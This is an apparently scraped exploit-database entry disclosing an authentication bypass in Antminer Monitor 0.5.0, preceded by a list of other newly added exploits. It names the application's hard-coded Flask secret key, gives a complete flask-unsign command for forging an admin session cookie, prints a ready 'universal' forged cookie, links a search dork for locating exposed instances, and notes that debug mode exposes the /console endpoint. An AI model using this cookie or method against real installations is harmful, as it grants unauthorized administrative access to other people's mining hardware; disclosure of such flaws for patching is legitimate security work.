8f90c99e8c
8 changes to exploits/shellcodes SmartFTP Client 10.0.2909.0 - 'Multiple' Denial of Service Argus Surveillance DVR 4.0 - Unquoted Service Path OpenEMR 6.0.0 - 'noteid' Insecure Direct Object Reference (IDOR) FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated) Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR) Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload & Remote Code Execution (RCE) Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS Antminer Monitor 0.5.0 - Authentication Bypass
48 lines
No EOL
2.1 KiB
Text
48 lines
No EOL
2.1 KiB
Text
# Exploit Title: Antminer Monitor 0.5.0 - Authentication Bypass
|
|
# Date: 09/06/2021
|
|
# Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22
|
|
# Exploit Author: CQR.company / Vulnz.
|
|
# Vendor Homepage: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
|
|
# Software Link: https://github.com/anselal/antminer-monitor, https://soulis.tech/
|
|
# Version: 0.5.0
|
|
# Tested on: Windows, Linux, Macos
|
|
|
|
|
|
Software is commonly used for Monitoring antminers and could easily be
|
|
found in zoomeye ( 800), shodan ( 500).
|
|
|
|
For now this is the most popular antminer monitoring tool.
|
|
|
|
Vulnerability in Antminer Monitor exists because of backdoor or
|
|
misconfiguration done
|
|
|
|
by developer inside settings file in flask server.
|
|
|
|
Settings file has a predefined secret string, which would be randomly
|
|
generated, however it is static in this
|
|
build.antminer-monitor/settings.py at
|
|
5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor ·
|
|
GitHub <https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py>
|
|
|
|
Secret key is 'super secret key'.
|
|
|
|
Based on this information we can craft authorization bypass cookies.
|
|
|
|
Using software flask-unsing we can generate cookie which will provide
|
|
you admin access.
|
|
|
|
flask-unsign --sign --cookie "{'_fresh': True, '_id':
|
|
b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6',
|
|
'_user_id': '1', 'csrf_token':
|
|
b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret
|
|
key"
|
|
|
|
Additionally you can use this universal cookie to access web interface
|
|
of flask application.
|
|
|
|
This cookie can work on all systems in "session" field.
|
|
|
|
.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU
|
|
|
|
|
|
In addition DEBUG = True which means /console works, however it needs pin. |